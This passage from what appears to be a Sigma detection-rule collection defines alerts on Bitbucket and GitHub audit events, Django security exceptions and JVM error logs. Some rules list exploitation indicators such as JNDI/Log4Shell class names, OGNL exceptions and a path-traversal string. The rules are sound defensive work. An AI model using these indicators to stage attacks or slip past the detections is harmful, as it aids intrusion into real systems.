"content": "title: Bitbucket Secret Scanning Rule Deleted\nid: ff91e3f0-ad15-459f-9a85-1556390c138d\nstatus: test\ndescription: Detects when secret scanning rule is deleted for the project or repository.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Basic\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category:\n - 'Projects'\n - 'Repositories'\n auditType.action:\n - 'Project secret scanning rule deleted'\n - 'Repository secret scanning rule deleted'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: low\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_unauthorized_access_detected.yml",
"content": "title: Bitbucket Unauthorized Access To A Resource\nid: 7215374a-de4f-4b33-8ba5-70804c9251d3\nstatus: test\ndescription: Detects unauthorized access attempts to a resource.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.resource-development\n - attack.t1586\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Security'\n auditType.action: 'Unauthorized access to a resource'\n condition: selection\nfalsepositives:\n - Access attempts to non-existent repositories or due to outdated plugins. Usually \"Anonymous\" user is reported in the \"author.name\" field in most cases.\nlevel: critical\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_unauthorized_full_data_export_triggered.yml",
"content": "title: Bitbucket Unauthorized Full Data Export Triggered\nid: 34d81081-03c9-4a7f-91c9-5e46af625cde\nstatus: test\ndescription: Detects when full data export is attempted an unauthorized user.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.collection\n - attack.resource-development\n - attack.t1213.003\n - attack.t1586\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Data pipeline'\n auditType.action: 'Unauthorized full data export triggered'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_user_details_export_attempt_detected.yml",
"content": "title: Bitbucket User Details Export Attempt Detected\nid: 5259cbf2-0a75-48bf-b57a-c54d6fabaef3\nstatus: test\ndescription: Detects user data export activity.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://support.atlassian.com/security-and-access-policies/docs/export-user-accounts\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.collection\n - attack.reconnaissance\n - attack.discovery\n - attack.t1213\n - attack.t1082\n - attack.t1591.004\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Users and groups'\n auditType.action:\n - 'User permissions export failed'\n - 'User permissions export started'\n - 'User permissions exported'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_user_login_failure_detected.yml",
"content": "title: Bitbucket User Login Failure\nid: 70ed1d26-0050-4b38-a599-92c53d57d45a\nstatus: test\ndescription: |\n Detects user authentication failure events.\n Please note that this rule can be noisy and it is recommended to use with correlation based on \"author.name\" field.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.credential-access\n - attack.t1078.004\n - attack.t1110\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Authentication'\n auditType.action: 'User login failed'\n condition: selection\nfalsepositives:\n - Legitimate user wrong password attempts.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_user_login_failure_via_ssh_detected.yml",
"content": "title: Bitbucket User Login Failure Via SSH\nid: d3f90469-fb05-42ce-b67d-0fded91bbef3\nstatus: test\ndescription: |\n Detects SSH user login access failures.\n Please note that this rule can be noisy and is recommended to use with correlation based on \"author.name\" field.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/view-and-configure-the-audit-log-776640417.html\n - https://confluence.atlassian.com/bitbucketserver/enable-ssh-access-to-git-repositories-776640358.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.lateral-movement\n - attack.credential-access\n - attack.t1021.004\n - attack.t1110\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Authentication'\n auditType.action: 'User login failed(SSH)'\n condition: selection\nfalsepositives:\n - Legitimate user wrong password attempts.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_user_permissions_export_attempt_detected.yml",
"content": "title: Bitbucket User Permissions Export Attempt\nid: 87cc6698-3e07-4ba2-9b43-a85a73e151e2\nstatus: test\ndescription: Detects user permission data export attempt.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/users-and-groups-776640439.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.reconnaissance\n - attack.collection\n - attack.discovery\n - attack.t1213\n - attack.t1082\n - attack.t1591.004\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Users and groups'\n auditType.action:\n - 'User details export failed'\n - 'User details export started'\n - 'User details exported'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: medium\n"
},
{
"path": "rules/application/django/appframework_django_exceptions.yml",
"content": "title: Django Framework Exceptions\nid: fd435618-981e-4a7c-81f8-f78ce480d616\nstatus: stable\ndescription: Detects suspicious Django web application framework exceptions that could indicate exploitation attempts\nreferences:\n - https://docs.djangoproject.com/en/1.11/ref/exceptions/\n - https://docs.djangoproject.com/en/1.11/topics/logging/#django-security\nauthor: Thomas Patzke\ndate: 2017-08-05\nmodified: 2020-09-01\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: django\ndetection:\n keywords:\n - SuspiciousOperation\n # Subclasses of SuspiciousOperation\n - DisallowedHost\n - DisallowedModelAdminLookup\n - DisallowedModelAdminToField\n - DisallowedRedirect\n - InvalidSessionKey\n - RequestDataTooBig\n - SuspiciousFileOperation\n - SuspiciousMultipartForm\n - SuspiciousSession\n - TooManyFieldsSent\n # Further security-related exceptions\n - PermissionDenied\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: medium\n"
},
{
"path": "rules/application/github/audit/github_delete_action_invoked.yml",
"content": "title: Github Delete Action Invoked\nid: 16a71777-0b2e-4db7-9888-9d59cb75200b\nstatus: test\ndescription: Detects delete action in the Github audit logs for codespaces, environment, project and repo.\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-19\nreferences:\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions\ntags:\n - attack.impact\n - attack.collection\n - attack.t1213.003\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'codespaces.delete'\n - 'environment.delete'\n - 'project.delete'\n - 'repo.destroy'\n condition: selection\nfalsepositives:\n - Validate the deletion activity is permitted. The \"actor\" field need to be validated.\nlevel: medium\n"
},
{
"path": "rules/application/github/audit/github_disable_high_risk_configuration.yml",
"content": "title: Github High Risk Configuration Disabled\nid: 8622c92d-c00e-463c-b09d-fd06166f6794\nstatus: test\ndescription: Detects when a user disables a critical security feature for an organization.\nreferences:\n - https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions\n - https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository\n - https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-29\nmodified: 2024-07-22\ntags:\n - attack.credential-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1556\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'business_advanced_security.disabled_for_new_repos'\n - 'business_advanced_security.disabled_for_new_user_namespace_repos'\n - 'business_advanced_security.disabled'\n - 'business_advanced_security.user_namespace_repos_disabled'\n - 'org.advanced_security_disabled_for_new_repos'\n - 'org.advanced_security_disabled_on_all_repos'\n - 'org.advanced_security_policy_selected_member_disabled'\n - 'org.disable_oauth_app_restrictions'\n - 'org.disable_two_factor_requirement'\n - 'repo.advanced_security_disabled'\n condition: selection\nfalsepositives:\n - Approved administrator/owner activities.\nlevel: high\n"
},
{
"path": "rules/application/github/audit/github_disabled_outdated_dependency_or_vulnerability.yml",
"content": "title: Outdated Dependency Or Vulnerability Alert Disabled\nid: 34e1c7d4-0cd5-419d-9f1b-1dad3f61018d\nstatus: test\ndescription: |\n Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts.\n This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-27\nreferences:\n - https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization\ntags:\n - attack.initial-access\n - attack.t1195.001\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'dependabot_alerts_new_repos.disable'\n - 'dependabot_alerts.disable'\n - 'dependabot_security_updates_new_repos.disable'\n - 'dependabot_security_updates.disable'\n - 'repository_vulnerability_alerts.disable'\n condition: selection\nfalsepositives:\n - Approved changes by the Organization owner. Please validate the 'actor' if authorized to make the changes.\nlevel: high\n"
},
{
"path": "rules/application/github/audit/github_fork_private_repos_enabled_or_cleared.yml",
"content": "title: Github Fork Private Repositories Setting Enabled/Cleared\nid: 69b3bd1e-b38a-462f-9a23-fbdbf63d2294\nstatus: test\ndescription: |\n Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).\nreferences:\n - https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#private_repository_forking\nauthor: Romain Gaillard (@romain-gaillard)\ndate: 2024-07-29\ntags:\n - attack.persistence\n - attack.exfiltration\n - attack.t1020\n - attack.t1537\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'private_repository_forking.clear' # An enterprise owner cleared the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise.\n - 'private_repository_forking.enable' # An enterprise owner enabled the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. Private and internal repositories are always allowed to be forked.\n condition: selection\nfalsepositives:\n - Allowed administrative activities.\nlevel: medium\n"
},
{
"path": "rules/application/github/audit/github_new_org_member.yml",
"content": "title: New Github Organization Member Added\nid: 3908d64a-3c06-4091-b503-b3a94424533b\nstatus: test\ndescription: Detects when a new member is added or invited to a github organization.\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-29\nreferences:\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions\ntags:\n - attack.persistence\n - attack.t1136.003\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'org.add_member'\n - 'org.invite_member'\n condition: selection\nfalsepositives:\n - Organization approved new members\nlevel: informational\n"
},
{
"path": "rules/application/github/audit/github_new_secret_created.yml",
"content": "title: Github New Secret Created\nid: f9405037-bc97-4eb7-baba-167dad399b83\nstatus: test\ndescription: Detects when a user creates action secret for the organization, environment, codespaces or repository.\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-20\nreferences:\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions\ntags:\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.initial-access\n - attack.t1078.004\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'codespaces.create_an_org_secret'\n - 'environment.create_actions_secret'\n - 'org.create_actions_secret'\n - 'repo.create_actions_secret'\n condition: selection\nfalsepositives:\n - This detection cloud be noisy depending on the environment. It is recommended to keep a check on the new secrets when created and validate the \"actor\".\nlevel: low\n"
},
{
"path": "rules/application/github/audit/github_outside_collaborator_detected.yml",
"content": "title: Github Outside Collaborator Detected\nid: eaa9ac35-1730-441f-9587-25767bde99d7\nstatus: test\ndescription: |\n Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-20\nreferences:\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.collection\n - attack.t1098.001\n - attack.t1098.003\n - attack.t1213.003\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'org.remove_outside_collaborator'\n - 'project.update_user_permission'\n condition: selection\nfalsepositives:\n - Validate the actor if permitted to access the repo.\n - Validate the Multifactor Authentication changes.\nlevel: medium\n"
},
{
"path": "rules/application/github/audit/github_pages_site_changed_to_public.yml",
"content": "title: GitHub Repository Pages Site Changed to Public\nid: 0c46d4f4-a2bf-4104-9597-8d653fc2bb55\nstatus: experimental\ndescription: |\n Detects when a GitHub Pages site of a repository is made public. This usually is part of a publishing process but could indicate or lead to potential unauthorized exposure of sensitive information or code.\nreferences:\n - https://docs.github.com/en/pages/getting-started-with-github-pages/creating-a-github-pages-site\n - https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms\n - https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events\nauthor: Ivan Saakov\ndate: 2025-10-18\ntags:\n - attack.collection\n - attack.exfiltration\n - attack.t1567.001\nlogsource:\n product: github\n service: audit\ndetection:\n selection:\n action: 'repo.pages_public'\n condition: selection\nfalsepositives:\n - Legitimate publishing of repository pages by authorized users\nlevel: low\n"
},
{
"path": "rules/application/github/audit/github_push_protection_bypass_detected.yml",
"content": "title: Github Push Protection Bypass Detected\nid: 02cf536a-cf21-4876-8842-4159c8aee3cc\nstatus: test\ndescription: Detects when a user bypasses the push protection on a secret detected by secret scanning.\nreferences:\n - https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations\n - https://thehackernews.com/2024/03/github-rolls-out-default-secret.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-03-07\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action|contains: 'secret_scanning_push_protection.bypass'\n condition: selection\nfalsepositives:\n - Allowed administrative activities.\nlevel: low\n"
},
{
"path": "rules/application/github/audit/github_push_protection_disabled.yml",
"content": "title: Github Push Protection Disabled\nid: ccd55945-badd-4bae-936b-823a735d37dd\nstatus: test\ndescription: Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.\nreferences:\n - https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations\n - https://thehackernews.com/2024/03/github-rolls-out-default-secret.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-03-07\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'business_secret_scanning_custom_pattern_push_protection.disabled'\n - 'business_secret_scanning_push_protection.disable'\n - 'business_secret_scanning_push_protection.disabled_for_new_repos'\n - 'org.secret_scanning_custom_pattern_push_protection_disabled'\n - 'org.secret_scanning_push_protection_disable'\n - 'org.secret_scanning_push_protection_new_repos_disable'\n - 'repository_secret_scanning_custom_pattern_push_protection.disabled'\n condition: selection\nfalsepositives:\n - Allowed administrative activities.\nlevel: high\n"
},
{
"path": "rules/application/github/audit/github_repo_or_org_transferred.yml",
"content": "title: Github Repository/Organization Transferred\nid: 04ad83ef-1a37-4c10-b57a-81092164bf33\nstatus: test\ndescription: Detects when a repository or an organization is being transferred to another location.\nreferences:\n - https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository\n - https://docs.github.com/en/organizations/managing-organization-settings/transferring-organization-ownership\n - https://docs.github.com/en/migrations\n - https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration\nauthor: Romain Gaillard (@romain-gaillard)\ndate: 2024-07-29\ntags:\n - attack.persistence\n - attack.exfiltration\n - attack.t1020\n - attack.t1537\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'migration.create' # A migration file was created for transferring data from a source location (such as a GitHub.com organization or a GitHub Enterprise Server instance) to a target GitHub Enterprise Server instance.\n - 'org.transfer_outgoing' # An organization was transferred between enterprise accounts.\n - 'org.transfer' # An organization was transferred between enterprise accounts.\n - 'repo.transfer_outgoing' # A repository was transferred to another repository network.\n condition: selection\nfalsepositives:\n - Allowed administrative activities.\nlevel: medium\n"
},
{
"path": "rules/application/github/audit/github_repository_archive_status_changed.yml",
"content": "title: GitHub Repository Archive Status Changed\nid: dca8991c-cb16-4128-abf8-6b11e5cd156f\nstatus: experimental\ndescription: |\n Detects when a GitHub repository is archived or unarchived, which may indicate unauthorized changes to repository status.\nreferences:\n - https://docs.github.com/en/repositories/archiving-a-github-repository/archiving-repositories\n - https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms\n - https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events\nauthor: Ivan Saakov\ndate: 2025-10-18\ntags:\n - attack.persistence\n - attack.defense-evasion\n - attack.impact\nlogsource:\n product: github\n service: audit\ndetection:\n selection:\n action:\n - 'repo.archived'\n - 'repo.unarchived'\n condition: selection\nfalsepositives:\n - Archiving or unarchiving a repository is often legitimate. Investigate this action to determine if it was authorized.\nlevel: low\n"
},
{
"path": "rules/application/github/audit/github_secret_scanning_feature_disabled.yml",
"content": "title: Github Secret Scanning Feature Disabled\nid: 3883d9a0-fd0f-440f-afbb-445a2a799bb8\nstatus: test\ndescription: Detects if the secret scanning feature is disabled for an enterprise or repository.\nreferences:\n - https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/about-secret-scanning\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-03-07\nmodified: 2024-07-19\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'business_secret_scanning.disable'\n - 'business_secret_scanning.disabled_for_new_repos'\n - 'repository_secret_scanning.disable'\n - 'secret_scanning_new_repos.disable'\n - 'secret_scanning.disable'\n condition: selection\nfalsepositives:\n - Allowed administrative activities.\nlevel: high\n"
},
{
"path": "rules/application/github/audit/github_self_hosted_runner_changes_detected.yml",
"content": "title: Github Self Hosted Runner Changes Detected\nid: f8ed0e8f-7438-4b79-85eb-f358ef2fbebd\nstatus: test\ndescription: |\n A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com.\n This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected,\n it should be validated from GitHub UI because the log entry may not provide full context.\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2023-01-27\nreferences:\n - https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners\n - https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-operation\ntags:\n - attack.impact\n - attack.discovery\n - attack.collection\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.initial-access\n - attack.t1526\n - attack.t1213.003\n - attack.t1078.004\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'org.remove_self_hosted_runner'\n - 'org.runner_group_created'\n - 'org.runner_group_removed'\n - 'org.runner_group_runner_removed'\n - 'org.runner_group_runners_added'\n - 'org.runner_group_runners_updated'\n - 'org.runner_group_updated'\n - 'repo.register_self_hosted_runner'\n - 'repo.remove_self_hosted_runner'\n condition: selection\nfalsepositives:\n - Allowed self-hosted runners changes in the environment.\n - A self-hosted runner is automatically removed from GitHub if it has not connected to GitHub Actions for more than 14 days.\n - An ephemeral self-hosted runner is automatically removed from GitHub if it has not connected to GitHub Actions for more than 1 day.\nlevel: low\n"
},
{
"path": "rules/application/github/audit/github_ssh_certificate_config_changed.yml",
"content": "title: Github SSH Certificate Configuration Changed\nid: 2f575940-d85e-4ddc-af13-17dad6f1a0ef\nstatus: test\ndescription: Detects when changes are made to the SSH certificate configuration of the organization.\nreferences:\n - https://docs.github.com/en/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities\n - https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#ssh_certificate_authority\nauthor: Romain Gaillard (@romain-gaillard)\ndate: 2024-07-29\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1078.004\nlogsource:\n product: github\n service: audit\n definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'\ndetection:\n selection:\n action:\n - 'ssh_certificate_authority.create' # An SSH certificate authority for an organization or enterprise was created.\n - 'ssh_certificate_requirement.disable' # The requirement for members to use SSH certificates to access an organization resources was disabled.\n condition: selection\nfalsepositives:\n - Allowed administrative activities.\nlevel: medium\n"
},
{
"path": "rules/application/jvm/java_jndi_injection_exploitation_attempt.yml",
"content": "title: Potential JNDI Injection Exploitation In JVM Based Application\nid: bb0e9cec-d4da-46f5-997f-22efc59f3dca\nstatus: test\ndescription: Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.\nreferences:\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\n - https://secariolabs.com/research/analysing-and-reproducing-poc-for-log4j-2-15-0\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: jvm\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'com.sun.jndi.ldap.'\n - 'org.apache.logging.log4j.core.net.JndiManager'\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: high\n"
},
{
"path": "rules/application/jvm/java_local_file_read.yml",
"content": "title: Potential Local File Read Vulnerability In JVM Based Application\nid: e032f5bc-4563-4096-ae3b-064bab588685\nstatus: test\ndescription: |\n Detects potential local file read vulnerability in JVM based apps.\n If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.\nreferences:\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: jvm\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords_local_file_read:\n '|all':\n - 'FileNotFoundException'\n - '/../../..'\n condition: keywords_local_file_read\nfalsepositives:\n - Application bugs\nlevel: high\n"
},
{
"path": "rules/application/jvm/java_ognl_injection_exploitation_attempt.yml",
"content": "title: Potential OGNL Injection Exploitation In JVM Based Application\nid: 4d0af518-828e-4a04-a751-a7d03f3046ad\nstatus: test\ndescription: |\n Detects potential OGNL Injection exploitation, which may lead to RCE.\n OGNL is an expression language that is supported in many JVM based systems.\n OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)\nreferences:\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\n - cve.2017-5638\n - cve.2022-26134\nlogsource:\n category: application\n product: jvm\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'org.apache.commons.ognl.OgnlException'\n - 'ExpressionSyntaxException'\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: high\n"
},
{
"path": "rules/application/jvm/java_rce_exploitation_attempt.yml",
